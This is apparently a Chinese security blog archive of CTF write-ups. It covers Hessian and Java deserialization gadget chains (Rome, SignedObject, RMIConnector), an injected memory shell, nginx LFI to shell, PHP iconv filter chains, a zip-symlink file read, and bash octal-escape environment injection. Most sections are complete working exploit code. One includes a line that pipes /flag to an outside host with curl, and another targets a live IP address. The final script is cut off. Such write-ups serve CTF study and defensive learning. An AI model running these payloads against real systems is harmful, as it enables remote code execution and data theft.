2022年5月

  • 环境搭建


    关于 RPC:

    Remote Procedure Call Protocol,远程过程调用协议,和 RMI(Remote Method Invocation,远程方法调用)类似,都能通过网络调用远程服务,但 RPC 是以标准的二进制格式来定义请求的信息,可用实现跨语言和跨操作系统通讯。
    

    通讯过程:
    1.客户端发起请求,并按照 RPC 协议格式填充信息
    2.填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
    3.服务端接收到流后,将其转换为二进制格式文件,并按照 RPC 协议格式获取请求信息并进行处理
    4.处理完毕后将结果按照 RPC 协议格式写入二进制格式文件中并返回
    

    maven 添加扩展:
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.63</version>
        </dependency>
    
  • 漏洞分析


    漏洞的触发点:HessianInput#readObject,由于 Hessian 会加你个序列化的结果处理成一个 Map,所有序列化的结果的 bytes 的第一个 byte 总为 M(77)。
    image-20220515194006621
    接着调用 readMap 进行进一步解析,接着进入 getDeserializer,然后创建一个 HashMap 作为缓存,先将要反序列化的类作为 key 放入 HashMap 中
    image-20220515194948774
    这里会调用 HashMap.put 方法,结合之前分析过的 CC 链,后续调用的 hash 函数能触发任意类的 hashcode 方法。
    那么只需要找一条入口为 hashcode 的反序列化链即可。
    Rome
    XBean
    Resin
    SpringPartiallyComparableAdvisorHolder
    SpringAbstractBeanFactoryPointcutAdvisor
    
  • 打 Rome


    poc:
    package moonflower.hessian;
    
    import com.caucho.hessian.io.HessianInput;
    import com.caucho.hessian.io.HessianOutput;
    import com.caucho.hessian.io.ObjectNameDeserializer;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import com.sun.rowset.JdbcRowSetImpl;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.Serializable;
    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    
    public class Hessian_Rome {
    
        public static <T> byte[] serialize(T o) throws IOException {
            ByteArrayOutputStream bao = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(bao);
            output.writeObject(o);
            System.out.println(bao.toString());
            return bao.toByteArray();
        }
    
        public static <T> T deserialize(byte[] bytes) throws IOException {
            ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
            HessianInput input = new HessianInput(bai);
            Object o = input.readObject();
            return (T) o;
        }
    
        public static void setValue(Object obj, String name, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        public static Object getValue(Object obj, String name) throws Exception {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            return field.get(obj);
        }
    
        public static void main(String[] args) throws Exception {
            JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
            String url = "ldap://localhost:9999/EXP";
            jdbcRowSet.setDataSourceName(url);
    
            ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
            EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
    
            HashMap hashMap = makeMap(equalsBean, "1");
    
            byte[] s = serialize(hashMap);
            System.out.println(s);
            System.out.println((HashMap)deserialize(s));
        }
    
        // 用反射动态创建数组,防止在狗仔 gadget 的时候触发 put 方法导致 RCE。
        public static HashMap<Object, Object> makeMap (Object v1, Object v2) throws Exception {
            HashMap<Object, Object> s = new HashMap<>();
            setValue(s, "size", 2);
            Class<?> nodeC;
            try {
                nodeC = Class.forName("java.until.HashMap$Node");
            }
            catch (ClassNotFoundException e) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);
    
            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
            setValue(s, "table", tbl);
            return s;
        }
    
    }
    

    Rome 的 rce 过程:
    image-20220515203116261
    进入触发点,接着调用 EqualBean 的 hashcode 方法
    image-20220515203358736
    接着会触发 ToStringBean 的 toString 方法(这里就有很多其它延申了,比如可以接一个 CC5)
    image-20220515203524747
    接着进入 JdbcRowSetImp 的 toString 方法,在其中会调用 JdbcRowSetImp 的 getter
    image-20220515204219256
    image-20220515204314905
    当调用到 getDatabaseMetaData 的时候,会进入 connect 方法,进而调用 lookup 触发 jndi 注入。
    image-20220515204531924
    image-20220515204649343
  • 不出网的失败打法


    参考 CC2,在 ToStringBean.toString() 的地方能调用任意的 getter,正常的思路是可以利用 TemplatesImpl 的 getOutputProperties 方法实现任意类加载,但这个思路在 Hessian 反序列化中是不行的!!!
    先回顾一下正常的 CC2,从 Transformer 开始,跟进到 getTransletInstance 中,并在其中实例化恶意 class。
    image-20220517142350927
    顺着调用栈向上找,恶意 class 的生成在 defineTransletClasses 中实现:
    image-20220517151748600
    注意这里的 _tfactory 是传入的 TransformerFactoryImpl(因为默认为 null,不传的话会直接触发异常)。
    如果在 Hessian 反序列化中用 TemplatesImpl 代替 ROME 中的 jndi 注入,会在 toString 中调用 TemplatesImpl 的 getOutputProperties,但这里重点关注传入的关键参数
    image-20220517143810922
    跟进具体的调用
    image-20220517144002313
    同样跟进到 defineTransletClasses 中,但这里的 _tfactory 却为空
    image-20220517152239480
    找一下 _tfactory 的定义发现 _tfactory 是用 transient 修饰的,序列化对象的时候,这个属性就不会序列化到指定的目的地中,所以最后为空,也合情合理。
    image-20220517152444869
    但 CC2 为什么可以?原因是 TemplatesImpl 的 readObject 的最后一句直接 new 了一个 _tfactory(这也是为什么虽然王传的大部分 CC2 都要给 _tfactory 传参但不传也行的原因),而直接拼 Rome 的链子不会用到原生的 readObject,所以也不会实例化这个 _tfactory。
    image-20220517152811270
  • 不出网的成功打法


    利用了 java.security.SignedObject ,直接打二次反序列化即可。
    image-20220517160228829
    具体的 payload 见 【HFCTF2022 ezchain】。
  • 参考文献


 

  • [虎符CTF 2022]ezchain


    从 docker-compose 中能判断不出网


    image-20220517134303888
    反编译后查看 handle,首先需要实现一个 hash 碰撞,然后就是一个 Hessian 反序列化的接口。
    image-20220517130137249
    hashcode 部分实际上就是实现了一个 31 进制转换,把前两位的 HF 换成 Ge 就能绕过了。
    image-20220517130454836
    然后就是不出网的 hessian 反序列化的利用,用了 java.security.SignedObject 的二次反序列化,原因前面的 hessian 反序列化已经提过了(这里使用 codeql 工具审出来的,具体操作。。。下次一定)
    poc:(第一次反序列化调用原生 readObject,第二次反序列化直接用 CC2 打就可)
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ObjectBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import sun.security.provider.DSAPrivateKey;
    import org.slf4j.impl.StaticLoggerBinder;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.security.*;
    import java.util.Base64;
    import java.util.HashMap;
    
    public class payload {
        public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
            HashMap hashMapx = getObject();
    
            // 构造SignedObject对象
            SignedObject signedObject = new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
                @Override
                protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineUpdate(byte b) throws SignatureException {
    
                }
    
                @Override
                protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
    
                }
    
                @Override
                protected byte[] engineSign() throws SignatureException {
                    return new byte[0];
                }
    
                @Override
                protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                    return false;
                }
    
                @Override
                protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
    
                }
    
                @Override
                protected Object engineGetParameter(String param) throws InvalidParameterException {
                    return null;
                }
            });
    
            // 构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            // 构造ObjectBean
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean1);
    
            // 构造HashMap
            HashMap hashMap = new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            // 反射修改字段
            Field obj = EqualsBean.class.getDeclaredField("obj");
            Field equalsBean = ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean), toStringBean);
    
            Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("./second.ser"));
            hessianOutput1.writeObject(hashMap);
            hessianOutput1.close();
        }
    
        public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field=obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj,value);
        }
    
        public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException {
            //构造TemplatesImpl对象
            byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
            byte[][] bytee= new byte[][]{bytecode};
            TemplatesImpl templates=new TemplatesImpl();
            setFieldValue(templates,"_bytecodes",bytee);
            setFieldValue(templates,"_name","Code");
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
    
            //构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            //构造ObjectBean
            ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
    
            //构造HashMap
            HashMap hashMap=new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            //反射修改字段
            Field obj=EqualsBean.class.getDeclaredField("obj");
            Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean),toStringBean);
    
            return hashMap;
        }
    }
    

    image-20220517203605154
    可以执行命令但不出网不能弹 shell,考虑将执行命令的结果写到文件中再读文件,但操作起来比较麻烦,实战中也要考虑路径的问题。
    这里参考内存马获取回显的思路,想办法拿到存储 Request 或 Respnse 的全局变量,通常是再线程中找,可以劫持 handler 实现内存马。
    image-20220517211136215
    最终能注入的 poc:
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ObjectBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import sun.security.provider.DSAPrivateKey;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.security.*;
    import javassist.CannotCompileException;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.NotFoundException;
    import java.util.HashMap;
    
    public class payload {
    
        public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException {
            HashMap hashMapx = getObject();
    
            // 构造SignedObject对象
            SignedObject signedObject = new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
                @Override
                protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineUpdate(byte b) throws SignatureException {
    
                }
    
                @Override
                protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
    
                }
    
                @Override
                protected byte[] engineSign() throws SignatureException {
                    return new byte[0];
                }
    
                @Override
                protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                    return false;
                }
    
                @Override
                protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
    
                }
    
                @Override
                protected Object engineGetParameter(String param) throws InvalidParameterException {
                    return null;
                }
            });
    
            // 构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            // 构造ObjectBean
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean1);
    
            // 构造HashMap
            HashMap hashMap = new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            // 反射修改字段
            Field obj = EqualsBean.class.getDeclaredField("obj");
            Field equalsBean = ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean), toStringBean);
    
            Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("./second.ser"));
            hessianOutput1.writeObject(hashMap);
            hessianOutput1.close();
        }
    
        public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field=obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj,value);
        }
    
        public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException, IOException, CannotCompileException, NotFoundException {
            //构造TemplatesImpl对象
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get("testHandler");
            byte[] bytecode=cc.toBytecode();
            byte[][] bytee= new byte[][]{bytecode};
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_bytecodes",bytee);
            setFieldValue(templates,"_name","Code");
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
    
            //构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            //构造ObjectBean
            ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean1);
    
            //构造HashMap
            HashMap hashMap=new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            //反射修改字段
            Field obj=EqualsBean.class.getDeclaredField("obj");
            Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean),toStringBean);
    
            return hashMap;
        }
    }
    

    image-20220517222824106
  • [TCTF 2021]buggyLoader


    java 反序列化,但问题是反序列化的这个 objectInputStre
    am 是重写的,resolveClass 也被重写了,和原生的 readObject 做一下对比
    image-20220526154552555
    image-20220526154610618
    forname 加载变成了调用 URLClassLoader 的 loadClass 加载,可参考 shiro 反序列化的利用,shiro 在 readObject 前调用ClassResolvingObjectInputStream 重写了 resolveClass,也是使用了 ClassLoader.loadClass。
    它们之间的区别(简单理解)是 Class.forName 能解析数组类型,但 ClassLoader 不会解析数组类型,加载时会抛出 ClassNotFoundException。
    但这个题的 ClassLoader 和 shiro 还不太一样,在 shiro 中用的是 tomcat 的类加载机制,也就是双亲委派
    image-20220526192442769
    在反序列化的时候不能加载 WEB-INF/lib 下的数组类型,但无数组类型的 CC3 就能打(即使里面用到了 java 原生类数组 byte[] 等)。
    但这个题卡的就很死,p 神提到的用 CC5 打 TemplatesImpl 是用不了的。(执行过程中还是调用了数组类型)
    打法1:出网条件下的 JRMPClient

    打法2:RMIConnectorServer 二次反序列化

    利用自动审计工具找到了利用点 javax.management.remote.rmi.RMIConnector#findRMIServerJRMP
    image-20220526194919783
    其中传入的 base64 可控,将 base64 解码后会对其进行反序列化操作,然后随便选一条链子接着打就行了。(get 交不了要改成 post)
    package myexp.buggyloader;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    import ysoserial.payloads.*;
    import ysoserial.payloads.util.Reflections;
    import javax.management.remote.JMXServiceURL;
    import javax.management.remote.rmi.RMIConnector;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;
    
    public class JMX {
        public static void main(String[] args) throws Exception {
            Object obj = getObject();
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oss = null;
            oss = new ObjectOutputStream(bos);
            oss.writeUTF("SJTU");
            oss.writeInt(1896);
            oss.writeObject(obj);
            oss.flush();
            byte[] bytes = bos.toByteArray();
            bos.close();
    
            String hex = Utils.bytesTohexString(bytes);
            System.out.println(hex);
            byte[] b2 = Utils.hexStringToBytes(hex);
            InputStream inputStream1 = new ByteArrayInputStream(b2);
            ObjectInputStream objectInputStream1 = new MyObjectInputStream(inputStream1);
            System.out.println(objectInputStream1.readUTF());
            System.out.println(objectInputStream1.readInt());
            Object obj2 = objectInputStream1.readObject();
        }
    
        private static Object getObject() throws Exception {
            Transformer transformer = InvokerTransformer.getInstance("connect");
            CommonsCollections5 commonsCollections5 = new CommonsCollections5();
            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
            objectOutputStream.writeObject(commonsCollections5.getObject("calc"));
            String expbase64 = new String(Base64.getEncoder().encode(outputStream.toByteArray()));
            String finalExp = "service:jmx:rmi:///stub/" + expbase64;
            RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL(finalExp), new HashMap<>());
    
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformer);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, rmiConnector);
            HashSet map = new HashSet(1);
            map.add("foo");
            Field f = null;
    
            try {
                f = HashSet.class.getDeclaredField("map");
            } catch (NoSuchFieldException var18) {
                f = HashSet.class.getDeclaredField("backingMap");
            }
    
            Reflections.setAccessible(f);
            HashMap innimpl = (HashMap) f.get(map);
            Field f2 = null;
    
            try {
                f2 =HashMap.class.getDeclaredField("table");
            } catch (NoSuchFieldException var17) {
                f2 = HashMap.class.getDeclaredField("elementData");
            }
    
            Reflections.setAccessible(f2);
            Object[] array = (Object[]) ((Object[]) f2.get(innimpl));
            Object node = array[0];
            if (node == null) {
                node = array[1];
            }
    
            Field keyField = null;
    
            try {
                keyField = node.getClass().getDeclaredField("key");
            } catch (Exception var16) {
                keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
            }
    
            Reflections.setAccessible(keyField);
            keyField.set(node, entry);
            return map;
        }
    }
    

    从 connect 开始分析
    image-20220527092013346
    然后进入 findRMIServer,其中 directoryURL 中存放着 payload
    image-20220527092322098
    之后就可以进入 findRMIServerJRMP 触发二次反序列化。
    image-20220527092435123
  • 参考文献


 

  • [LineCTF 2022]gotm


    go ssti + jwt 伪造,首先在根目录发现直接解析,传入 {{.}} 能打印环境变量并泄露对应的 key,注册特定用户生成 token 再传入,拿到 key 之后直接加密即可。
    image-20220509201832935
  • [LineCTF 2022]BB


    linux 中可以用 $'\' 以 8 进制形式执行指令,
    cat flag == $'\143\141\164' flag
    

    centos,可以用 p 神那篇 https://tttang.com/archive/1450/ 利用环境变量注入执行任意命令,用 8 进制绕过第一个过滤即可。
    import string
    import requests
    
    cmd = 'cat /flag | curl -d @- http://vps:port'
    
    o = ''
    
    for c in cmd:
        if c in string.ascii_letters:
            o += f"$'\\{oct(ord(c))[2:]}'"
        else:
            o += c
    
    r = requests.get(f'http://213f6e8f-d034-4a8a-92af-97f37cdbfc70.node4.buuoj.cn:81/?env[BASH_ENV]=`{o}`')
    print(r.text)
    

    image-20220509212538393
  • [HXPCTF 2021]includer's revenge


    著名的 nginx+LFI getshell,大致流程:
    1.Nginx 在后端 fastcgi 响应过大或请求正文 body 过大时会产生临时文件
    2.绕过 PHP 对软链接的解析
    

    首先是第一个问题:产生的临时文件会立刻被删除,但在 linux 下,如果打开一个文件,该文件会出现在 /proc/pid/fd 下,而如果一个文件没被关闭就直接删除,依然可以读到文件的内容。
    但读的话是以软连接的形式读的,而 php 会先解析软连接,再打开。这时就有了新的问题,这个被删除的软链接会在后面带有 (deleted),也就是:
    /proc/pid/fd/x (deleted)
    

    这样的话 php 就会解析失败,这里通过 https://www.anquanke.com/post/id/213235#h3-5 require_once 绕过不能包含重复文件的思路,加一层目录嵌套起来,能防止 php 对软链接进行解析。
    /proc/self/fd/34/../../../34/fd/9
    

    还有一个问题就是确定 pid,需要在一个范围内进行爆破。首先在 /proc/cmdline 中找到 nginx 的 worker process(nginx master 进程不处理请求),这里 worker process 的数量不会超过 cpu 核心数量(可以通过 /proc/cpuinfo)查看,然后就是查看 /proc/sys/kernel/pid_max 找到最大的 pid,就能确定扫描范围。
    最后的 payload:
    import requests
    
    url = "http://localhost/index.php"
    file_to_use = "/etc/passwd"
    command = "/readflag"
    
    #<?=`$_GET[0]`;;?>
    base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
    
    conversions = {
        'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
        'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
        'C': 'convert.iconv.UTF8.CSISO2022KR',
        '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
        '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
        'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
        's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
        'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
        'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
        'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
        'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
        '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
        'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
        'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
        'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
        'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
        '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
        '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
    }
    
    
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"
    
    
    for c in base64_payload[::-1]:
            filters += conversions[c] + "|"
            # decode and reencode to get rid of everything that isn't valid base64
            filters += "convert.base64-decode|"
            filters += "convert.base64-encode|"
            # get rid of equal signs
            filters += "convert.iconv.UTF8.UTF7|"
    
    filters += "convert.base64-decode"
    
    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    
    r = requests.get(url, params={
        "0": command,
        "action": "include",
        "file": final_payload
    })
    
    print(r.text)
    
  • [HXPCTF 2021]shitty blog


    先看一下能交互的地方,$_POST['content'] 被 htmlspecialchars 防死了,_POST['delete'] 没什么用,$_COOKIE['session'] 输入后,经过拆分,判断处理之后,其中的一部分在 insert_entry 中经过预编译后插入,但在 get_user 和 delete_entry 的时候从数据块中取出,直接拼接,存在二次注入。
    再看这一条链子中的判断,主要是这句:
    if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
            exit();
    }
    

    其中 crypt 会被 \x00 截断,也就是说只要 hash_hmac 是以 \x00 开头,那么 crypt 就是加密了一个空(NULL),使加密结果固定。
    if(! isset($_COOKIE['session'])){
        $id = random_int(1, PHP_INT_MAX);
        $mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
    }
    

    依照自动生成 session 的规则,只要能生成两个 mac 相同但 id 不同的 session ,就能说明 hash_hmac('md5', $id, $secret, true) 结果为空。在此结果之上构造 id,就可以实现注入。
    php 使用 PDO 链接 sqlite,默认支持堆叠注入,最后只需要在 data 目录下面写一个 webshell 就 ok 了。
  • [HXPCTF 2021]unzipper


    传一个压缩包上去,然后会给你解压,但这里不知道 sandbox 的指,没法直接传?,并且这里 nginx 的配置是:
    location = /index.php {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.4-fpm.sock;
    }
    

    指解析 index.php,其它的 php 并不解析。
    如果是普通的 zip 解压然后读可以用软连接读文件,但这里的不同之处在于对传入的文件名进行了 realpath,会去除软连接和相关目录操作,直接返回完整路径。
    但是 realpath 不能识别各种协议(PHP 伪协议),所有可以创建一个目录,目录名是 php 伪协议开头,这样就可以绕过判断。
    poc:
    #!/bin/bash
    
    rm -rf exploit.dir
    mkdir -p exploit.dir
    pushd exploit.dir
    
    TARGET='http://65.108.176.76:8200'
    EPATH='php://filter/convert.base64-encode/resource=exploit'
    
    mkdir -p $EPATH
    ln -s /flag.txt exploit
    zip -y -r exploit.zip *
    
    curl -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' $TARGET -F "file=@exploit.zip"
    curl -s -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' "$TARGET/?file=$EPATH" | base64 -d
    
    echo
    popd
    
  • [HXPCTF 2021]counter


    也挺离谱的。。。通过 system 时新创建进程,如果把文件名设置为一串 base64,那么 system 起的这个进程的 /proc/pid/cmdline 就是这一串我们可控的 base64,在 include 中通过 php 伪协议解析。
    问题还是 pid 的爆破范围,这里通过 /proc/sys/kernel/ns_last_pid 来确定,这个文件显示这个 pid 命名空间中分配的最后一个 pid。
    poc:
    #!/usr/bin/env python3
    import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
    from urllib.parse import urlparse,quote_from_bytes
    def urlencode(data, safe=''):
        return quote_from_bytes(data, safe)
    
    url = f'http://{sys.argv[1]}:{sys.argv[2]}/'
    
    backdoor_name = secrets.token_hex(8) + '.php'
    secret = secrets.token_hex(16)
    secret_hash = hashlib.sha1(secret.encode()).hexdigest()
    
    print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
